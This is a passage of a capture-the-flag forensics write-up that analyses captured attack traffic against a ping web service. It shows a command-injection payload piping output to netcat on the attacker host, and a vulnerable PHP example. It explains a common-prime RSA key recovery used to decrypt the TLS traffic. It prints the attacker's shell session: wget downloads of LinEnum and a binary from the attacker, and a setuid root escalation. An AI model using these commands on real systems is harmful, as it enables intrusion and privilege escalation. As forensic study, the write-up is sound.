<p>We can actually see the victim making ICMP requests to the given ip address right after the POST request:</p>
<p><img alt="Wireshark ICMP requests and replies" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-icmp-reply.png"></p>
<p>The next POST request is also on <code>index.php</code> , and got the following parameter:</p>
<p><img alt="Wireshark command injection" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-command-injection.png"></p>
<p>Attacker is trying to inject a command into the simple ping service. It is a common vulnerability, if <code>index.php</code> is calling directly the ping command trough bash with the raw <code>cli_ip</code> parameter, then it would be possible to inject bash commands, with a payload like the attacker’s one. Such a flaw would exist in the following PHP code, for example :</p>
<div class="highlight"><pre><span></span><code><span class="x">$output = shell_exec("ping " . $_POST['cli_ip']);</span>
</code></pre></div>
<p>Thus the semicolon would stop the ping command, and then <code>id | nc 172.17.0.1 12345</code> would be executed. Right after this request, we can spot the following TCP exchange from the victim to the host:</p>
<p><img alt="Wireshark command injection result" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-id-result.png"></p>
<p>The simple ping service is vulnerable!</p>
<p>Next POST request is exploiting this command injection by downloading a script from the attacker’s machine and executing it :</p>
<p><img alt="Wireshark payload execution" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-payload-1.png"></p>
<p>As this is done through HTTPS, we can’t see what’s happening after this because everything is encrypted. In fact, all the remaining exchanges after this command are TLS traffic.</p>
<h1>Breaking TLS</h1>
<p>As this is a forensics <em>and cryptanalysis</em> challenge, we probably have to decrypt all this TLS traffic. Let’s first check the ciphersuite used in this exchange. This information is accessible in the <code>Server Hello</code> message.</p>
<p><img alt="Wireshark Server Hello" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-tls-server-hello.png"></p>
<p>As the ciphersuite indicates, the asymmetric part of the TLS exchange is done with RSA. In the same packet, we can also find the certificate of the server.</p>
<p><img alt="Wireshark Server Certificate" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-tls-certificate.png"></p>
<p>Wireshark allows us to dump it to the disk, by right-clicking on it and <code>Export Packets Bytes</code>. It gives us the server certificate in DER format. We can use the following openssl commands to convert it to PEM, and to extract its corresponding RSA public key:</p>
<div class="highlight"><pre><span></span><code>$ openssl x509 -inform der -outform pem -in server_certificate.der -out server_certificate.pem
$ cat server_certificate.pem
-----BEGIN CERTIFICATE-----
MIIDmTCCAoGgAwIBAgIUY9GTEMNo4F1jMpq6xFH0kU802hEwDQYJKoZIhvcNAQEL
BQAwXDELMAkGA1UEBhMCRlIxDzANBgNVBAgMBkZyYW5jZTEOMAwGA1UEBwwFUGFy
aXMxFzAVBgNVBAoMDlByaW1lIE1pbmlzdGVyMRMwEQYDVQQLDApCcmV4aXQgRlRX
MB4XDTE5MTAyOTIwMTgwMVoXDTI4MDExNTIwMTgwMVowXDELMAkGA1UEBhMCRlIx
DzANBgNVBAgMBkZyYW5jZTEOMAwGA1UEBwwFUGFyaXMxFzAVBgNVBAoMDlByaW1l
IE1pbmlzdGVyMRMwEQYDVQQLDApCcmV4aXQgRlRXMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA6qH1D3mce4pI40aDTFHHnU8I84OU7NCR3KD4pTCsktys
6cthOdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N4vWEgsA8S5F3CQZtbKr2ILrC
X8BXapicvYFHXWl567xWGepkqjdFBAqC8NdpE95ZhZDpwzRgj0DIJRBaKJ9ROdKe
o8bYatXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaRR5FINQZtNmDkwzehDYD+elZ9
zmNXoRrB+wYQNuoHTVunBihCFz/WUcoqcItPSoheWGiy+Ok4B0QcBCELhVs5RpSj
p6C/0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgYFQIDAQABo1MwUTAdBgNVHQ4E
FgQUdi3P3w9KyJnF72f8DbB6rY3VnBcwHwYDVR0jBBgwFoAUdi3P3w9KyJnF72f8
DbB6rY3VnBcwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAAbmu
5yPDsZWmO93Na8URsjgymEZ7Ix80E7SF2RvhvBqRI7wiJxG5bG/39FzmQohyS47t
G90A54mJQNYQ3oK8SY2y/BGzB39ckJwFrmUetCeVI+8eRXpnMgU53nHuxqW5eTKA
GyfPuFVEJUzKgnJkT8bkc215iV4001HXqlNxhiMK3suuHAPOqxPfOZFCCzNJVR98
U1ue8PYsB7cT0HLUIgC+83fuLKumFhTk/Z/dbCxhNXn/COmdKl/VcHykre1zKhLi
Eem104IpXwLq1t8s7He0seAs9+Z+9YT7t8aDNP0wW9RtY7tQziZdXPg+IbfCQ+Yp
<span class="nv">tlnXbAuRM1f7NZw1KQ</span><span class="o">==</span>
-----END CERTIFICATE-----
$ openssl x509 -pubkey -in server_certificate.pem -noout -out server_public_key.pem
$ cat server_public_key.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6qH1D3mce4pI40aDTFHH
nU8I84OU7NCR3KD4pTCsktys6cthOdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N
4vWEgsA8S5F3CQZtbKr2ILrCX8BXapicvYFHXWl567xWGepkqjdFBAqC8NdpE95Z
hZDpwzRgj0DIJRBaKJ9ROdKeo8bYatXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaR
R5FINQZtNmDkwzehDYD+elZ9zmNXoRrB+wYQNuoHTVunBihCFz/WUcoqcItPSohe
WGiy+Ok4B0QcBCELhVs5RpSjp6C/0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgY
FQIDAQAB
-----END PUBLIC KEY-----
</code></pre></div>
<p>Then my first reflex is always to fire up <a href="https://github.com/Ganapati/RsaCtfTool">RsaCtfTool</a> on the public key, to check if it suffers from common weaknesses. It appears it doesnt. Coming back to Wireshark, we can notice that other TLS handshakes were performed after the first one.</p>
<p>Looking at the certificate of the third one : it is not the same as the one we dumped out, eventhough the server is still the attacker, and the client is still the victim. Weird, does’nt it ?</p>
<p>Looking more closely, it’s because the connection is made on the port 8443 instead of 443 for the first one. We can also dump this certificate to disk, and extract its public key.</p>
<p>Then , using RsaCtfTool, we can extract the low-level RSA components of those public keys. We get for the first one <span class="math">\(e1=65537,n1=29619627467178969406854079403463599915871658288476677270831102061793497934159662285514510327385700628378589305421437171709795346003094548759628250322764002847148435692477244479388763329813686684201660423274495404811778410506932910300216875896775312348918429580174725852674828634098639553636546413084035530031283855213320078578741271070732953030117908357848717141509425260478003664503348447111743061219093114960558269923676606146414164748797713467491614709083233759517937681221656041489826498974094813539583189934143472418883692302711288587072716807105868149209556970774501083495918309228876519388189482569883619694613\)</span></p>
<p>The second one is
<span class="math">\(e2=65537,n2=30588464855055370059397808311584587800331478796837484201499522366071377859360910819579349170786760505546761273257680417594923583479957908661697555140368862662613536591346698985905175343119461281306864239119280639106589310801053583144048931656425940217457170988561914099102270870509491862752401296222115766858612659267640341229452933477551468397714444142587906203000835769622618731613797887097456579263262040530311297050197485572507425877926039763557707646155709261620616335196646065292172815191664334235605058750259343798359510428053696625102332956941127444708167469018975315598974910298399214310051525315764438607689\)</span></p>
<p>There are not a lot of RSA attacks involving 2 public keys. The first that come to mind is the common prime one.</p>
<p>As <span class="math">\(n_1 = p_1 \times q_1\)</span> and <span class="math">\(n_2 = p_2 \times q_2\)</span>, if <span class="math">\(n_1\)</span> and <span class="math">\(n_2\)</span> shares a common prime, ie <span class="math">\(p1=p2\)</span>, the security is ruined because now we can compute <span class="math">\(p_1 = p_2 = gcd(n_1,n_2)\)</span> and <span class="math">\(q_1 = \frac{n_1}{p_1}, q_2 = \frac{n_2}{p_2}\)</span>.</p>
<p>To check if this attack is applicable here, we can simply compute <span class="math">\(gcd(n_1,n_2)\)</span>. If it returns <span class="math">\(1\)</span>, <span class="math">\(n_1\)</span> and <span class="math">\(n_2\)</span> don’t share common prime, else it’s GG WP.</p>
<div class="highlight"><pre><span></span><code><span class="o">>>></span> <span class="kn">from</span> <span class="nn">gmpy</span> <span class="kn">import</span> <span class="n">gcd</span>
<span class="o">>>></span> <span class="n">n1</span> <span class="o">=</span> <span class="mi">30588464855055370059397808311584587800331478796837484201499522366071377859360910819579349170786760505546761273257680417594923583479957908661697555140368862662613536591346698985905175343119461281306864239119280639106589310801053583144048931656425940217457170988561914099102270870509491862752401296222115766858612659267640341229452933477551468397714444142587906203000835769622618731613797887097456579263262040530311297050197485572507425877926039763557707646155709261620616335196646065292172815191664334235605058750259343798359510428053696625102332956941127444708167469018975315598974910298399214310051525315764438607689</span>
<span class="o">>>></span> <span class="n">n2</span> <span class="o">=</span> <span class="mi">29619627467178969406854079403463599915871658288476677270831102061793497934159662285514510327385700628378589305421437171709795346003094548759628250322764002847148435692477244479388763329813686684201660423274495404811778410506932910300216875896775312348918429580174725852674828634098639553636546413084035530031283855213320078578741271070732953030117908357848717141509425260478003664503348447111743061219093114960558269923676606146414164748797713467491614709083233759517937681221656041489826498974094813539583189934143472418883692302711288587072716807105868149209556970774501083495918309228876519388189482569883619694613</span>
<span class="o">>>></span> <span class="n">gcd</span><span class="p">(</span><span class="n">n1</span><span class="p">,</span> <span class="n">n2</span><span class="p">)</span>
<span class="n">mpz</span><span class="p">(</span><span class="mi">172067233411000174123288570320072141984329277731567787049992455089748125896067043634268223276124200546620464642208269498585977273172872453697611433904621370678490295872941062747046839302970872936949583606000707115626511913565629330486713525750799307850325576945065814233311827585627901219469077071493371983507</span><span class="p">)</span>
</code></pre></div>
<p>Well, it’s over. We can reconstruct the two private keys by feeding our p and qs to RsaCtfTool.</p>
<p>To decrypt the TLS traffic, we now need to load those private keys into Wireshark, by going to <code>Edit</code>, <code>Preferences</code>, <code>Procotols</code>, then <code>TLS</code>, and finally <code>Rsa key List Edit</code>. On this interface, we have to give wireshark a few informations :</p>
<p><img alt="Wireshark decryption infos" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-decryption-info.png"></p>
<h1>Understanding the attacker’s path</h1>
<p>Now by coming back to our TLS traffic, we can see what’s going on. Here is the content of the payload executed by the victim:</p>
<p><img alt="Wireshark payload content" src="https://w0nderland.fr/images/santhacklaus2019/wireshark-payload-2.png"></p>
<p>It executes a TLS-encrypted reverse shell on the port 8443 of the attacker.</p>
<p>Now let’s see what the attacker have been doing with this shell. Even if we assumed it was HTTP traffic in the options, we can right click and follow the TLS stream.</p>
<p>The first part of the stream is the following :</p>
<div class="highlight"><pre><span></span><code><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import pty;pty.spawn("/bin/bash")'</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="err">$</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="err">$</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="err">$</span> <span class="n">cd</span> <span class="o">/</span><span class="n">tmp</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">tmp</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="n">ls</span>
<span class="n">ls</span>
<span class="n">s</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="n">wget</span> <span class="o">--</span><span class="n">no</span><span class="o">-</span><span class="n">check</span><span class="o">-</span><span class="n">certificate</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.3</span><span class="o">/</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="o"><-</span><span class="n">no</span><span class="o">-</span><span class="n">check</span><span class="o">-</span><span class="n">certificate</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.3</span><span class="o">/</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="o">--</span><span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">57</span><span class="p">:</span><span class="mi">54</span><span class="o">--</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.3</span><span class="o">/</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="n">Connecting</span> <span class="n">to</span> <span class="mf">172.17.0.3</span><span class="p">:</span><span class="mf">443.</span><span class="o">..</span> <span class="n">failed</span><span class="p">:</span> <span class="n">Connection</span> <span class="n">refused</span><span class="o">.</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="n">wget</span> <span class="o">--</span><span class="n">no</span><span class="o">-</span><span class="n">check</span><span class="o">-</span><span class="n">certificate</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.1</span><span class="o">/</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="o"><-</span><span class="n">no</span><span class="o">-</span><span class="n">check</span><span class="o">-</span><span class="n">certificate</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.1</span><span class="o">/</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="o">--</span><span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">58</span><span class="p">:</span><span class="mi">02</span><span class="o">--</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.1</span><span class="o">/</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="n">Connecting</span> <span class="n">to</span> <span class="mf">172.17.0.1</span><span class="p">:</span><span class="mf">443.</span><span class="o">..</span> <span class="n">connected</span><span class="o">.</span>
<span class="n">WARNING</span><span class="p">:</span> <span class="n">The</span> <span class="n">certificate</span> <span class="n">of</span> <span class="s1">'172.17.0.1'</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">trusted</span><span class="o">.</span>
<span class="n">WARNING</span><span class="p">:</span> <span class="n">The</span> <span class="n">certificate</span> <span class="n">of</span> <span class="s1">'172.17.0.1'</span> <span class="n">doesn</span><span class="s1">'t have a known issuer.</span>
<span class="n">The</span> <span class="n">certificate</span><span class="s1">'s owner does not match hostname '</span><span class="mf">172.17.0.1</span><span class="s1">'</span>
<span class="n">HTTP</span> <span class="n">request</span> <span class="n">sent</span><span class="p">,</span> <span class="n">awaiting</span> <span class="n">response</span><span class="o">...</span> <span class="mi">200</span> <span class="n">OK</span>
<span class="n">Length</span><span class="p">:</span> <span class="mi">46120</span> <span class="p">(</span><span class="mi">45</span><span class="n">K</span><span class="p">)</span> <span class="p">[</span><span class="n">text</span><span class="o">/</span><span class="n">x</span><span class="o">-</span><span class="n">sh</span><span class="p">]</span>
<span class="n">Saving</span> <span class="n">to</span><span class="p">:</span> <span class="s1">'LinEnum.sh'</span>
<span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span> <span class="mi">0</span><span class="o">%</span><span class="p">[</span> <span class="p">]</span> <span class="mi">0</span> <span class="o">--.-</span><span class="n">KB</span><span class="o">/</span><span class="n">s</span>
<span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span> <span class="mi">100</span><span class="o">%</span><span class="p">[</span><span class="o">===================></span><span class="p">]</span> <span class="mf">45.04</span><span class="n">K</span> <span class="o">--.-</span><span class="n">KB</span><span class="o">/</span><span class="n">s</span> <span class="ow">in</span> <span class="mi">0</span><span class="n">s</span>
<span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">58</span><span class="p">:</span><span class="mi">02</span> <span class="p">(</span><span class="mi">105</span> <span class="n">MB</span><span class="o">/</span><span class="n">s</span><span class="p">)</span> <span class="o">-</span> <span class="s1">'LinEnum.sh'</span> <span class="n">saved</span> <span class="p">[</span><span class="mi">46120</span><span class="o">/</span><span class="mi">46120</span><span class="p">]</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="n">chmod</span> <span class="o">+</span><span class="n">x</span> <span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="n">chmod</span> <span class="o">+</span><span class="n">x</span> <span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span>
<span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="o">./</span><span class="n">LinEnum</span><span class="o">.</span><span class="n">sh</span> <span class="o">-</span><span class="n">t</span> <span class="o">-</span><span class="n">e</span> <span class="o">/</span><span class="n">tmp</span> <span class="o">-</span><span class="n">r</span> <span class="n">report</span>
</code></pre></div>
<p>then we get the report of <code>LinEnum.sh</code> , which gives a tons of informations about the victim’s system.</p>
<p>The second part :</p>
<div class="highlight"><pre><span></span><code><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="nd">@d58feef475e4</span><span class="p">:</span><span class="o">/</span><span class="n">tmp</span><span class="err">$</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nb">bin</span><span class="o">/</span><span class="n">python2</span><span class="mf">.7</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import os; os.setuid(0); os.system("/bin/sh")'</span>
<span class="c1"># id</span>
<span class="nb">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span> <span class="n">gid</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span> <span class="n">groups</span><span class="o">=</span><span class="mi">33</span><span class="p">(</span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">)</span>
<span class="c1"># cd /root</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">root</span>
<span class="c1"># ls</span>
<span class="n">ls</span>
<span class="n">flag</span>
<span class="c1"># ls -la</span>
<span class="n">ls</span> <span class="o">-</span><span class="n">la</span>
<span class="n">total</span> <span class="mi">20</span>
<span class="n">drwx</span><span class="o">------</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">37</span> <span class="o">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">51</span> <span class="o">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">570</span> <span class="n">Jan</span> <span class="mi">31</span> <span class="mi">2010</span> <span class="o">.</span><span class="n">bashrc</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">148</span> <span class="n">Aug</span> <span class="mi">17</span> <span class="mi">2015</span> <span class="o">.</span><span class="n">profile</span>
<span class="o">-</span><span class="n">r</span><span class="o">--------</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">28</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">36</span> <span class="n">flag</span>
<span class="c1"># wc -c flag</span>
<span class="n">wc</span> <span class="o">-</span><span class="n">c</span> <span class="n">flag</span>
<span class="mi">28</span> <span class="n">flag</span>
<span class="c1"># stat flag</span>
<span class="n">stat</span> <span class="n">flag</span>
<span class="n">File</span><span class="p">:</span> <span class="n">flag</span>
<span class="n">Size</span><span class="p">:</span> <span class="mi">28</span> <span class="n">Blocks</span><span class="p">:</span> <span class="mi">8</span> <span class="n">IO</span> <span class="n">Block</span><span class="p">:</span> <span class="mi">4096</span> <span class="n">regular</span> <span class="n">file</span>
<span class="n">Device</span><span class="p">:</span> <span class="mi">78</span><span class="n">h</span><span class="o">/</span><span class="mi">120</span><span class="n">d</span> <span class="n">Inode</span><span class="p">:</span> <span class="mi">6206622</span> <span class="n">Links</span><span class="p">:</span> <span class="mi">1</span>
<span class="n">Access</span><span class="p">:</span> <span class="p">(</span><span class="mi">0400</span><span class="o">/-</span><span class="n">r</span><span class="o">--------</span><span class="p">)</span> <span class="n">Uid</span><span class="p">:</span> <span class="p">(</span> <span class="mi">0</span><span class="o">/</span> <span class="n">root</span><span class="p">)</span> <span class="n">Gid</span><span class="p">:</span> <span class="p">(</span> <span class="mi">0</span><span class="o">/</span> <span class="n">root</span><span class="p">)</span>
<span class="n">Access</span><span class="p">:</span> <span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">36</span><span class="p">:</span><span class="mf">58.000000000</span> <span class="o">+</span><span class="mi">0000</span>
<span class="n">Modify</span><span class="p">:</span> <span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">36</span><span class="p">:</span><span class="mf">58.000000000</span> <span class="o">+</span><span class="mi">0000</span>
<span class="n">Change</span><span class="p">:</span> <span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">21</span><span class="p">:</span><span class="mi">38</span><span class="p">:</span><span class="mf">07.737200347</span> <span class="o">+</span><span class="mi">0000</span>
<span class="n">Birth</span><span class="p">:</span> <span class="o">-</span>
<span class="c1"># echo -n 'Il y a le flag dans le /root'</span>
<span class="n">echo</span> <span class="o">-</span><span class="n">n</span> <span class="s1">'Il y a le flag dans le /root'</span>
<span class="n">Il</span> <span class="n">y</span> <span class="n">a</span> <span class="n">le</span> <span class="n">flag</span> <span class="n">dans</span> <span class="n">le</span> <span class="o">/</span><span class="n">root</span><span class="c1">#</span>
<span class="c1">#</span>
<span class="c1"># cd /usr/local/bin</span>
<span class="n">cd</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">local</span><span class="o">/</span><span class="nb">bin</span>
<span class="c1"># pwd</span>
<span class="n">pwd</span>
<span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">local</span><span class="o">/</span><span class="nb">bin</span>
<span class="c1"># s</span>
<span class="n">s</span>
<span class="n">ls</span>
<span class="n">ls</span>
<span class="n">apache2</span><span class="o">-</span><span class="n">foreground</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">install</span> <span class="n">peardev</span> <span class="n">php</span>
<span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">entrypoint</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">source</span> <span class="n">pecl</span> <span class="n">php</span><span class="o">-</span><span class="n">config</span>
<span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">configure</span> <span class="n">freetype</span><span class="o">-</span><span class="n">config</span> <span class="n">phar</span> <span class="n">phpdbg</span>
<span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">enable</span> <span class="n">pear</span> <span class="n">phar</span><span class="o">.</span><span class="n">phar</span> <span class="n">phpize</span>
<span class="c1"># wget --no-check-certificate https://172.17.0.1/DRUNK_IKEBANA -O phar.bak</span>
<span class="n">wget</span> <span class="o">--</span><span class="n">no</span><span class="o">-</span><span class="n">check</span><span class="o">-</span><span class="n">certificate</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.1</span><span class="o">/</span><span class="n">DRUNK_IKEBANA</span> <span class="o">-</span><span class="n">O</span> <span class="n">phar</span><span class="o">.</span><span class="n">bak</span>
<span class="o">--</span><span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">22</span><span class="p">:</span><span class="mi">03</span><span class="p">:</span><span class="mi">12</span><span class="o">--</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="mf">172.17.0.1</span><span class="o">/</span><span class="n">DRUNK_IKEBANA</span>
<span class="n">Connecting</span> <span class="n">to</span> <span class="mf">172.17.0.1</span><span class="p">:</span><span class="mf">443.</span><span class="o">..</span> <span class="n">connected</span><span class="o">.</span>
<span class="n">WARNING</span><span class="p">:</span> <span class="n">The</span> <span class="n">certificate</span> <span class="n">of</span> <span class="s1">'172.17.0.1'</span> <span class="ow">is</span> <span class="ow">not</span> <span class="n">trusted</span><span class="o">.</span>
<span class="n">WARNING</span><span class="p">:</span> <span class="n">The</span> <span class="n">certificate</span> <span class="n">of</span> <span class="s1">'172.17.0.1'</span> <span class="n">doesn</span><span class="s1">'t have a known issuer.</span>
<span class="n">The</span> <span class="n">certificate</span><span class="s1">'s owner does not match hostname '</span><span class="mf">172.17.0.1</span><span class="s1">'</span>
<span class="n">HTTP</span> <span class="n">request</span> <span class="n">sent</span><span class="p">,</span> <span class="n">awaiting</span> <span class="n">response</span><span class="o">...</span> <span class="mi">200</span> <span class="n">OK</span>
<span class="n">Length</span><span class="p">:</span> <span class="mi">7634240</span> <span class="p">(</span><span class="mf">7.3</span><span class="n">M</span><span class="p">)</span> <span class="p">[</span><span class="n">application</span><span class="o">/</span><span class="n">octet</span><span class="o">-</span><span class="n">stream</span><span class="p">]</span>
<span class="n">Saving</span> <span class="n">to</span><span class="p">:</span> <span class="s1">'phar.bak'</span>
<span class="n">phar</span><span class="o">.</span><span class="n">bak</span> <span class="mi">0</span><span class="o">%</span><span class="p">[</span> <span class="p">]</span> <span class="mi">0</span> <span class="o">--.-</span><span class="n">KB</span><span class="o">/</span><span class="n">s</span>
<span class="n">phar</span><span class="o">.</span><span class="n">bak</span> <span class="mi">100</span><span class="o">%</span><span class="p">[</span><span class="o">===================></span><span class="p">]</span> <span class="mf">7.28</span><span class="n">M</span> <span class="o">--.-</span><span class="n">KB</span><span class="o">/</span><span class="n">s</span> <span class="ow">in</span> <span class="mf">0.05</span><span class="n">s</span>
<span class="mi">2019</span><span class="o">-</span><span class="mi">11</span><span class="o">-</span><span class="mi">20</span> <span class="mi">22</span><span class="p">:</span><span class="mi">03</span><span class="p">:</span><span class="mi">12</span> <span class="p">(</span><span class="mi">146</span> <span class="n">MB</span><span class="o">/</span><span class="n">s</span><span class="p">)</span> <span class="o">-</span> <span class="s1">'phar.bak'</span> <span class="n">saved</span> <span class="p">[</span><span class="mi">7634240</span><span class="o">/</span><span class="mi">7634240</span><span class="p">]</span>
<span class="c1"># ls</span>
<span class="n">ls</span>
<span class="n">apache2</span><span class="o">-</span><span class="n">foreground</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">install</span> <span class="n">peardev</span> <span class="n">phar</span><span class="o">.</span><span class="n">phar</span> <span class="n">phpize</span>
<span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">entrypoint</span> <span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">source</span> <span class="n">pecl</span> <span class="n">php</span>
<span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">configure</span> <span class="n">freetype</span><span class="o">-</span><span class="n">config</span> <span class="n">phar</span> <span class="n">php</span><span class="o">-</span><span class="n">config</span>
<span class="n">docker</span><span class="o">-</span><span class="n">php</span><span class="o">-</span><span class="n">ext</span><span class="o">-</span><span class="n">enable</span> <span class="n">pear</span> <span class="n">phar</span><span class="o">.</span><span class="n">bak</span> <span class="n">phpdbg</span>
<span class="c1"># ls -la</span>
<span class="n">ls</span> <span class="o">-</span><span class="n">la</span>
<span class="n">total</span> <span class="mi">35168</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Nov</span> <span class="mi">20</span> <span class="mi">22</span><span class="p">:</span><span class="mi">03</span> <span class="o">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">4096</span> <span class="n">Oct</span> <span class="mi">25</span> <span class="mi">02</span><span class="p">:</span><span class="mi">29</span> <span class="o">..</span>
